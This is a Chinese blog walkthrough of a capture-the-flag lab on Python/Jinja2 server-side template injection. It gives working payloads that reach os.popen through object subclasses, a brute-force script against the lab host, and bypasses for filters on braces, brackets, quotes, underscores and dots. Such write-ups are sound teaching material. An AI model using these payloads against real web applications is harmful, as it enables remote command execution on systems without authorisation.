SSTI-lab

文章展示了如何检测和利用PythonSSTI(Server-SideTemplateInjection)漏洞,通过不同的编码和过滤绕过方法,如使用os._wrap_close的第133个子类调用popen执行ls命令,以及针对不同过滤规则的绕过策略,如替换下划线、使用方括号代替点运算符等。
摘要由CSDN通过智能技术生成

Level-1 no waf

{{2*2}}

测试发现存在ssti漏洞
在这里插入图片描述

{{''.__class__}}

在这里插入图片描述

{{''.__class__.__bases__[0]}}

在这里插入图片描述

{{''.__class__.__bases__[0].__subclasses__}}

在这里插入图片描述

import requests

url="http://node1.anna.nssctf.cn:28430/level/1"

#payload={{''.__class__.__bases__[0].__subclasses__()[1]}}
#payload="{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__("+str(i)+"}}"
for i in range(500):
    payload = {"code":"{{''.__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    #print(payload)
    res=requests.post(url=url,data=payload)
    #print(res.text)
    if "os" in res.text:
        print(res.text)
        print(payload)

经过测试发现"os._wrap_close"在第133个子类,这时候可以调用133子类

{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

在这里插入图片描述

Level-2 bl[‘{{’]

{{2*2}}

发现被过滤了{{

{%print(2*2)%}

在这里插入图片描述

{%print(''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('ls').read())%}

在这里插入图片描述

Level-4 bl[‘[’, ‘]’]

{{''.__class__.__bases__[0]}}

发现存在WAF
在这里插入图片描述

{{''.__class__.__bases__.__getitem__(0).__subclasses__()}}
{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(133)}}

找到危险函数
在这里插入图片描述

{{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('ls').read()}}

在这里插入图片描述

Level-5 bl[‘’', ‘"’]

{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[request.cookies.arg1](request.cookies.arg2).read()}}

在这里插入图片描述

{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[request.values.arg1](request.values.arg2).read()}}

在这里插入图片描述

Level-6 bl[‘_’]

{{''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('ls').read()}}

利用\x5f替代下划线,并且加上[]
在这里插入图片描述

Level-7 bl[‘.’]

过滤了点,这是可以利用[]绕过

{{''['__class__']['__bases__'][0]['__subclasses__']()[133]['__init__']['__globals__']['popen']('ls')['read']()}}

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值